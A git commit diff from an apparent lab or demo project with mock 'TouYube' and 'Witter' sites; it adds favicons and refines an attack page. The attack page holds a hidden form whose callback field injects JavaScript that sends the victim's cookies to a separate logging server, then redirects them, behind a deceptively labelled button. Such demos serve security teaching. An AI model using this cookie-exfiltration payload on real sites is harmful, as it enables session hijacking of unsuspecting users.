added favicon and improved the attack

This commit is contained in:
Faraphel 2024-05-15 07:57:32 +02:00
parent 44833f745d
commit 57fba043aa
5 changed files with 8 additions and 1 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 43 KiB

View file

@ -1,8 +1,10 @@
{% load static %}
<!DOCTYPE html> <!DOCTYPE html>
<html lang="en"> <html lang="en">
<head> <head>
{% block head %} {% block head %}
<meta charset="UTF-8"> <meta charset="UTF-8">
<link rel="shortcut icon" type="image/png" href="{% static 'TouYube/favicon.png' %}"/>
<title>{% block title %}TouYube{% endblock %}</title> <title>{% block title %}TouYube{% endblock %}</title>
{% endblock %} {% endblock %}
</head> </head>

Binary file not shown.

After

Width:  |  Height:  |  Size: 101 KiB

View file

@ -1,8 +1,10 @@
{% load static %}
<!DOCTYPE html> <!DOCTYPE html>
<html lang="en"> <html lang="en">
<head> <head>
{% block head %} {% block head %}
<meta charset="UTF-8"> <meta charset="UTF-8">
<link rel="shortcut icon" type="image/png" href="{% static 'TouYube/favicon.png' %}"/>
<title>{% block title %}Witter{% endblock %}</title> <title>{% block title %}Witter{% endblock %}</title>
{% endblock %} {% endblock %}
</head> </head>

View file

@ -6,6 +6,7 @@
<form id="attack-form" action="http://localhost:8080/callback/" method="GET"> <form id="attack-form" action="http://localhost:8080/callback/" method="GET">
<input type="hidden" name="callback" value=" <input type="hidden" name="callback" value="
{# once the victim is calling the callback, send his cookies to this URL #}
fetch('http://localhost:8081/logs/', { fetch('http://localhost:8081/logs/', {
method: 'POST', method: 'POST',
body: JSON.stringify({ body: JSON.stringify({
@ -14,7 +15,9 @@
headers: { headers: {
'Content-type': 'application/json; charset=UTF-8' 'Content-type': 'application/json; charset=UTF-8'
} }
}) });
{# redirect the user to the homepage #}
document.location.href='http://localhost:8080/';
"> ">
<input type="submit" value="I am a very safe button that will not obtain your cookies 😊"> <input type="submit" value="I am a very safe button that will not obtain your cookies 😊">